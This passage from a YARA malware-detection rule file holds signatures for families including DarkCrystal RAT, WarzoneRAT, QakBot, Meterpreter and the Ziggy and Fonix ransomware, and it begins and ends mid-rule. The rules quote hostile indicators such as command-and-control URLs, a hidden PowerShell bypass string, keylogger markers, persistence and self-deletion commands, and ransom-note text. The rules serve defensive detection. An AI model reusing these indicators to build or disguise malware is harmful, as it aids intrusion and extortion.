		uint16( 0 ) == 0x457f and ( all of ( $f* ) and #rf1 > 3 and #rf2 > 3 )
}

rule DITEKSHEN_MALWARE_Win_Itranslatordll : FILE
{
	meta:
		description = "Detects iTranslator DLL payload"
		author = "ditekSHen"
		id = "df05da78-3626-5eb5-81a2-a93fba844484"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2876-L2892"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ca0479efd241058f358553b6382a1987a5b4c069965f4adb88cd2f3fc4bef21a"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.iTranslator_DLL"
	strings:
		$d1 = "system32\\drivers\\%S.sys" fullword wide
		$d2 = "\\windows\\system32\\winlogon.exe" fullword ascii
		$d3 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\%s" fullword wide
		$d4 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\webssx" fullword wide
		$d5 = "\\Device\\CtrlSM" fullword wide
		$d6 = "\\DosDevices\\CtrlSM" fullword wide
		$d7 = "\\driver_wfp\\CbFlt\\Bin\\CbFlt.pdb" ascii
		$d8 = ".php" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Caspertroy : FILE
{
	meta:
		description = "Detects CasperTroy payload"
		author = "ditekSHen"
		id = "822c3231-60ba-5e60-8df8-06dea80b318a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2919-L2931"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ce070b1e6279ef9fa47f84da7c5166cd93b3e7a0f95541ae14c048b2af9bc431"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "DllTroy.dll" fullword ascii
		$s2 = "Content-Disposition: form-data; name=\"image\"; filename=\"title.gif\"" fullword ascii
		$s3 = "Content-Disposition: form-data; name=\"COOKIE_ID\"" fullword ascii
		$s4 = "Content-Disposition: form-data; name=\"PHP_SESS_ID\"" fullword ascii
		$s5 = "Content-Disposition: form-data; name=\"SESS_ID\"" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Rasftuby : FILE
{
	meta:
		description = "Detects Rasftuby/DarkCrystal"
		author = "ditekSHen"
		id = "908624a8-0068-5512-a5d0-77ce1f4efd80"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2933-L2950"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b769c1986d23173cf8a8a3c8a14d388a7c0327e46d936fc97c449dc55f2a5575"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.DarkCrystal.RAT-Rasftuby"
	strings:
		$s1 = "/DCRS/main.php?data=active" fullword ascii wide
		$s2 = "/socket.php?type=__ds_" ascii wide
		$s3 = "/uploader.php" fullword ascii wide
		$s4 = "del \\\"%USERPROFILE%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\System.lnk\\\"" fullword ascii wide
		$s5 = "Host:{0},Port:{1},User:{2},Pass:{3}<STR>" fullword ascii wide
		$s6 = "keyloggerstart_status" fullword ascii wide
		$s7 = "keyloggerstop_status" fullword ascii wide
		$s8 = "[PRINT SCREEN]" fullword ascii wide
		$s9 = "DCS.Internal" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Protonbot : FILE
{
	meta:
		description = "Detects ProtonBot loader"
		author = "ditekSHen"
		id = "b0d08378-0297-5e70-99f1-1dc0fec6fa01"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2952-L2969"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b511dfd47109d36ffc7fcb23b49779e1164d50a28061ab724d7a2c744ac23ac8"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.ProtonBot"
	strings:
		$x1 = "\\PROTON\\Release\\build.pdb" ascii
		$x2 = "\\proton\\proton bot\\json.hpp" wide
		$x3 = "proton bot" ascii wide
		$s1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide
		$s2 = "ranges.size() == 2 or ranges.size() == 4 or ranges.size() == 6" fullword wide
		$s3 = "ref_stack.back()->is_array() or ref_stack.back()->is_object()" fullword wide
		$s4 = "ktmw32.dll" fullword ascii
		$s5 = "@detail@nlohmann@@" ascii
		$s6 = "urlmon.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( all of ( $s* ) and 1 of ( $x* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Imminentrat : FILE
{
	meta:
		description = "Detects ImminentRAT"
		author = "ditekSHen"
		id = "99831b32-d8a0-5814-bf41-491f607ee825"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2971-L2994"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f959fd28e818b17c962fcd5bb99fa5ac0058f22494950e0200f139703f3e756a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "abuse@imminentmethods.net" ascii
		$x2 = "Imminent-Monitor-" ascii
		$x3 = "AddressChangeListener" fullword ascii
		$x4 = "SevenZipHelper" fullword ascii
		$x5 = "WrapNonExceptionThrows" fullword ascii
		$s1 = "_ENABLE_PROFILING" wide
		$s2 = "Anti-Virus: {0}" wide
		$s3 = "File downloaded & executed" wide
		$s4 = "Chat - You are speaking with" wide
		$s5 = "\\Imminent\\Plugins" wide
		$s6 = "\\Imminent\\Path.dat" wide
		$s7 = "\\Imminent\\Geo.dat" wide
		$s8 = "DisableTaskManager = {0}" wide
		$s9 = "This client is already mining" wide
		$s10 = "Couldn't get AV!" wide
		$s11 = "Couldn't get FW!" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $x* ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Warzonerat : FILE
{
	meta:
		description = "Detects AveMaria/WarzoneRAT"
		author = "ditekSHen"
		id = "4f3df696-280c-5f2b-9511-8cc7c9dff1d6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2996-L3011"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1af8b0f90b0de3287499082a6d6d9da6ed62a3110018e0c0f7149353693060b2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "RDPClip" fullword wide
		$s2 = "Grabber" fullword wide
		$s3 = "Ave_Maria Stealer OpenSource" wide
		$s4 = "\\MidgetPorn\\workspace\\MsgBox.exe" wide
		$s5 = "@\\cmd.exe" wide
		$s6 = "/n:%temp%\\ellocnak.xml" wide
		$s7 = "Hey I'm Admin" wide
		$s8 = "warzone160" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Karaganycore : FILE
{
	meta:
		description = "Detects Karagany/xFrost core plugin"
		author = "ditekSHen"
		id = "c066805b-9373-5524-aff9-d16cd59f5a24"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3013-L3027"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cde96ac6477fda1312ce4f7532018c9f11df7d39c40155d10bdde0e3d84c6d57"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "127.0.0.1" fullword ascii
		$s2 = "port" fullword ascii
		$s3 = "C:\\Windows\\System32\\Kernel32.dll" fullword ascii
		$s4 = "kernel32.dll" fullword ascii
		$s5 = "http" ascii
		$s6 = "Move" fullword ascii
		$s7 = "<supportedOS Id=\"{" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Karaganyscreenutil : FILE
{
	meta:
		description = "Detects Karagany/xFrost ScreenUtil module"
		author = "ditekSHen"
		id = "5eab1bb9-a433-54e6-963b-4aca863dc73f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3043-L3055"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d10230d94adfdddd604e2569ae3323efa1d5722647b9c704fceefe9446ccebd1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "__pic__" ascii wide
		$s2 = "__pickill__" ascii wide
		$s3 = "\\picture.png" fullword wide
		$s4 = "%d.jpg" wide
		$s5 = "\\Update\\Tmp" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Karaganylistrix : FILE
{
	meta:
		description = "Detects Karagany/xFrost Listrix module"
		author = "ditekSHen"
		id = "837cc9e7-eefb-530c-854b-51bb4444ae78"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3057-L3069"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "02216061dbe93b7bea108f4b27c052d87c14cfe9395c6c5d4eed46ed7819e7ae"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\Update\\Tmp\\" wide
		$s2 = "*pass*.*" fullword wide
		$s3 = ">> NUL" wide
		$s4 = "%02d.%02d.%04d %02d:%02d" wide
		$s5 = "/c del" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Osx_Macsearch : FILE
{
	meta:
		description = "Detects MacSearch adware"
		author = "ditekSHen"
		id = "facdf05c-5ee4-54c6-9ca3-01978af2b6e6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3071-L3092"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "973b7215fc8d04685a46d05b53b4092e7b81ed0d64d6982b534f2b89d0a59443"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$s1 = "open -a safari" ascii
		$s2 = "/INDownloader" ascii
		$s3 = "/safefinder" ascii
		$s4 = "/INEncryptor" ascii
		$s5 = "/INInstallerFlow" ascii
		$s6 = "/INConfiguration" ascii
		$s7 = "/INChromeAndFFSetter" ascii
		$s8 = "/INSafariSetter" ascii
		$s9 = "/bin/launchctl" fullword ascii
		$s10 = "/usr/bin/csrutil" fullword ascii
		$s11 = "_Tt%cSs%zu%.*s%s" fullword ascii
		$s12 = "_Tt%c%zu%.*s%zu%.*s%s" fullword ascii
		$s13 = "/macap/safefinder_Obf/safefinder/" ascii
		$s14 = "/safefinder.build/Release/macsearch.build/" ascii
	condition:
		uint16( 0 ) == 0xfacf and 10 of them
}

rule DITEKSHEN_MALWARE_Osx_AMCPCVARK : FILE
{
	meta:
		description = "Detects OSX TechyUtils/PCVARK adware"
		author = "ditekSHen"
		id = "1378364b-db10-5194-98f8-5347504a92e6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3114-L3139"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b18a9f578af98feb5107d9ef85850457ba5921ab58af7b097a815e3af74f05f7"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Osx.Adware.AMC-PCVARK-TechyUtils"
	strings:
		$s1 = "Mac Auto Fixer.app" fullword ascii
		$s2 = "com.techyutil.macautofixer" fullword ascii
		$s3 = "com.findApp.findApp" ascii
		$s4 = "Library/Preferences/%@.plist" fullword ascii
		$s5 = "Library/%@/%@" fullword ascii
		$s6 = "Library/Application Support/%@/%@" fullword ascii
		$s7 = "sleep 3; rm -rf \"%@\"" fullword ascii
		$s8 = "Silently calling url: %@" ascii
		$cnc1 = "cloudfront.net/getdetails" ascii
		$cnc2 = "trk.entiretrack.com/trackerwcfsrv/tracker.svc/trackOffersAccepted/?" ascii
		$cnc3 = "pxl=%@&x-count=1&utm_source=%@&lpid=0&utm_content=&utm_term=&x-base=&utm_medium=%@&utm_publisher=%@&offerpxl=&x-fetch=1&utm_campaign=@&affiliateid=&x-at=&btnid=" ascii
		$x1 = "mafsysinfo" fullword ascii
		$x2 = "MAF4497_MAF4399_MAF2204" ascii
		$developerid = "Developer ID Application: Rahul Gahlot (RZ74UYT742)" ascii
	condition:
		uint16( 0 ) == 0xfacf and ( 6 of ( $s* ) or 2 of ( $cnc* ) or all of ( $x* ) or $developerid )
}

rule DITEKSHEN_MALWARE_Osx_Windtrail : FILE
{
	meta:
		description = "Detects WindTrail OSX trojan"
		author = "ditekSHen"
		id = "abf7cd20-b37d-5d0a-8f3f-f4e491965713"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3189-L3206"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "291f919cb1e8c4b33960dd3f2c842b9efec04852bd5661543e3ee60bc0fc5ba6"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Osx.Trojan.WindTrail"
	strings:
		$s1 = "m_ComputerName_UserName" fullword ascii
		$s2 = "m_uploadURL" fullword ascii
		$s3 = "m_logString" fullword ascii
		$s4 = "GenrateDeviceName" fullword ascii
		$s5 = "open -a" fullword ascii
		$s6 = "AESEncryptFile:toFile:usingPassphrase:error:" fullword ascii
		$s7 = "scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:" fullword ascii
		$s8 = "_kLSSharedFileListSessionLoginItems" fullword ascii
		$developerid = "Developer ID Application: warren portman (95RKE2AA8F)" ascii
	condition:
		uint16( 0 ) == 0xfacf and ( all of ( $s* ) or $developerid )
}

rule DITEKSHEN_MALWARE_Osx_Techyutils : FILE
{
	meta:
		description = "Detects TechyUtils OSX packages"
		author = "ditekSHen"
		id = "59fd4165-987f-5b68-9341-d78184b25a1c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3208-L3224"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "071c67cace09dd66233bd4c4dd78c32d0f39f7e38dc06ec62e09fef67762d098"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Osx.Trojan.TechyUtils"
	strings:
		$s1 = "__ZL58__arclite_NSMutableDictionary__" ascii
		$s2 = "__ZL46__arclite_NSDictionary_" ascii
		$s3 = "<key>com.apple.security.get-task-allow</key>" fullword ascii
		$s4 = "/productprice.svc/GetCountryCode" ascii
		$s5 = "@_pthread_mutex_lock" fullword ascii
		$s6 = "_mh_execute_header" fullword ascii
		$s7 = "/Users/prasoon/Documents/" ascii
		$developerid = "Developer ID Application: Techyutils Software Private Limited (VS9Q8BRRRJ)" ascii
	condition:
		uint16( 0 ) == 0xfacf and ( all of ( $s* ) or $developerid )
}

rule DITEKSHEN_MALWARE_Win_Dlagent04 : FILE
{
	meta:
		description = "Detects known downloader agent downloading encoded binaries in patches from paste-like websites, most notably hastebin"
		author = "ditekSHen"
		id = "d591c591-aecc-557e-85b4-1e2589fbfbf9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3247-L3263"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "73e6af7c32d38ec5d1d2bc9f2517860367b46779b53e0faff8885b655561ab01"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.DLAgent04"
	strings:
		$x1 = "@@@http" ascii wide
		$s1 = "HttpWebRequest" fullword ascii
		$s2 = "GetResponseStream" fullword ascii
		$s3 = "set_FileName" fullword ascii
		$s4 = "set_UseShellExecute" fullword ascii
		$s5 = "WebClient" fullword ascii
		$s6 = "set_CreateNoWindow" fullword ascii
		$s7 = "DownloadString" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and #x1 > 1 and 4 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Parallaxrat : FILE
{
	meta:
		description = "Detects ParallaxRAT"
		author = "ditekSHen"
		id = "e602b28f-ae5d-52af-b1c5-5c41776dd4c5"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3311-L3328"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7fd94dee44079b595b906f1687f44b51b8cebabbeb0900563b8d4fcc0e46bdd0"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.ParallaxRAT"
	strings:
		$s1 = "[Clipboard End]" fullword wide
		$s2 = "[Ctrl +" fullword wide
		$s3 = "[Alt +" fullword wide
		$s4 = "Clipboard Start" wide
		$s5 = "(Wscript.ScriptFullName)" wide
		$s6 = "CSDVersion" fullword ascii
		$s7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" fullword ascii
		$x1 = { 2e 65 78 65 00 00 84 00 00 4d 5a 90 00 }
		$x2 = "This program cannot be run in DOS mode" ascii
	condition:
		(( uint16( 0 ) == 0x5a4d and all of ( $s* ) ) or all of them )
}

rule DITEKSHEN_MALWARE_Win_Meterpreter : FILE
{
	meta:
		description = "Detects Meterpreter payload"
		author = "ditekSHen"
		id = "d72fef80-d624-5e39-963a-8d7c12eb2d9c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3330-L3343"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5226cd7bb2344b822ee94d75f81a523ff701778de97a32ae52c604a4855e960c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "PACKET TRANSMIT" fullword ascii
		$s2 = "PACKET RECEIVE" fullword ascii
		$s3 = "\\\\%s\\pipe\\%s" fullword ascii wide
		$s4 = "%04x-%04x:%s" fullword wide
		$s5 = "server.dll" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and all of them ) or ( filesize < 300KB and all of them )
}

rule DITEKSHEN_MALWARE_Win_Trojan_Expresscms : FILE
{
	meta:
		description = "Detects ExpressCMS"
		author = "ditekSHen"
		id = "d096db0c-05f6-5b69-9d84-0105f2182ff3"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3366-L3382"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "64d551e0c11b6394f9ae2b8fa749c36cb1b5c3f498592f95dc19fdea23c53160"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.ExpressCMS"
	strings:
		$s1 = "/click.php?cnv_id=" fullword wide
		$s2 = "/click.php?key=" wide
		$s3 = "jdlnb" fullword wide
		$s4 = "Gkjfdshfkjjd: dsdjdsjdhv" fullword wide
		$s5 = "--elevated" fullword wide
		$s6 = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\%d" wide
		$s7 = "\\Microsoft\\Manager.exe" fullword wide
		$s8 = "\\Microsoft\\svchost.exe" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Meterpreterstager : FILE
{
	meta:
		description = "Detects Meterpreter stager payload"
		author = "ditekSHen"
		id = "dfbc37e9-13e0-55e2-a501-1005eea52b63"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3384-L3395"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0ac53a10abb1e4dd7da57872cd1779851d953127a912c31a5e411d8eb9bd07f4"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "PAYLOAD:" fullword ascii
		$s2 = "AQAPRQVH1" fullword ascii
		$s3 = "ws2_32" fullword ascii
		$s4 = "KERNEL32.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them and filesize < 100KB
}

rule DITEKSHEN_MALWARE_Win_Ziggy : FILE
{
	meta:
		description = "Detects Ziggy ransomware"
		author = "ditekSHen"
		id = "6d2d316a-cf19-5001-bf94-842346229d76"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3397-L3421"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "103a50511971161ca673e0c8378aeca2fa7d0f6309966bbb2b70e0d039e0f196"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920098"
		snort3_sid = "920096"
		clamav_sig = "MALWARE.Win.Ransomware.Ziggy"
	strings:
		$id1 = "/Ziggy Info;component/mainwindow.xaml" fullword wide
		$id2 = "AZiggy Info, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii
		$id3 = "Ziggy Ransomware" fullword wide
		$id4 = "clr-namespace:Zeggy" fullword ascii
		$s1 = "GetCooldown" fullword ascii
		$s2 = "checkCommandMappings" fullword ascii
		$s3 = "add_OnExecuteCommand" fullword ascii
		$s4 = "MindLated.jpg" fullword wide
		$s5 = "http://fixfiles.xyz/ziggy/api/info.php?id=" fullword wide
		$s6 = "Reamaining time:" fullword wide
		$msg1 = "<:In case of no answer in 12 hours write us to this e-mail" ascii
		$msg2 = "Free decryption as guarantee" fullword ascii
		$msg3 = "# Do not try to decrypt your data using third party software, it may cause permanent data loss" ascii
		$msg4 = "# Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can becom" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $id* ) or 4 of ( $s* ) or 3 of ( $msg* ) )
}

rule DITEKSHEN_MALWARE_Win_Nworm : FILE
{
	meta:
		description = "Detects NWorm/N-W0rm payload"
		author = "ditekSHen"
		id = "06546ccf-8914-5b1c-942f-99664b9ecf44"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3423-L3443"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a1397a057422be260b5bdf1eb58571e95c259c132cc2518b39e1524a0eda9c66"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.NWorm"
	strings:
		$id1 = "N-W0rm" ascii
		$id2 = "N_W0rm" ascii
		$x1 = "pongPing" fullword wide
		$x2 = "|NW|" fullword wide
		$s1 = "runFile" fullword wide
		$s2 = "runUrl" fullword wide
		$s3 = "killer" fullword wide
		$s4 = "powershell" fullword wide
		$s5 = "wscript.exe" fullword wide
		$s6 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" fullword wide
		$s7 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide
		$s8 = "Start-Sleep -Seconds 1.5; Remove-Item -Path '" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $id* ) and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or ( all of ( $x* ) and 2 of ( $s* ) ) or 7 of ( $s* ) or 10 of them )
}

rule DITEKSHEN_MALWARE_Win_Qakbot : FILE
{
	meta:
		description = "Detects variants of QakBot payload"
		author = "ditekSHen"
		id = "3a3b3b6c-0969-584e-a184-7acfca3cdd42"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3445-L3457"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b64c05eb7ac03b2b4709f9979d117e4cacc617f21d0b3bf1c1be42aa18cc44cc"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "stager_1.dll" fullword ascii
		$s2 = "_vsnwprintf" fullword ascii
		$s3 = "DllRegisterServer" fullword ascii
		$s4 = "Win32_PnPEntity" fullword wide
		$s5 = "0>user32.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Fonix : FILE
{
	meta:
		description = "Detects Fonix ransomware"
		author = "ditekSHen"
		id = "d67cce49-5f4f-59f6-b2a9-9c4dd1c6c0f6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3459-L3481"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "159b8946f7772c76271de821eb12897689bf73d96fc6a1d7c4a65cdc50b877c7"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.Fonix"
	strings:
		$s1 = "dontcryptanyway" fullword wide
		$s2 = "Cpriv.key" ascii wide
		$s3 = "Cpub.key" ascii wide
		$s4 = "NetShareEnum() failed!Error: % ld" fullword wide
		$s5 = "<div class='title'> Attention!</div><ul><li><u><b>DO NOT</b> pay" wide
		$s6 = "Encryption Completed !!!" fullword wide
		$s7 = "kill process" fullword ascii
		$s8 = "Copy SystemID C:\\ProgramData\\SystemID" ascii
		$id1 = "].FONIX" fullword wide
		$id2 = "xinofconfig.txt" fullword ascii wide
		$id3 = "XINOF4MUTEX" wide
		$id4 = ":\\Fonix\\cryptoPP\\" ascii
		$id5 = "schtasks /CREATE /SC ONLOGON /TN fonix" ascii
		$id6 = "Ransomware\\Fonix" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or 3 of ( $id* ) or ( 1 of ( $id* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Dlagent05 : FILE
{
	meta:
		description = "Detects an unknown dropper. Typically exisys as a DLL in base64-encoded gzip-compressed file embedded within another executable"
		author = "ditekSHen"
		id = "a8a72484-42be-5c5c-962b-75bed8acdf39"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3538-L3551"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
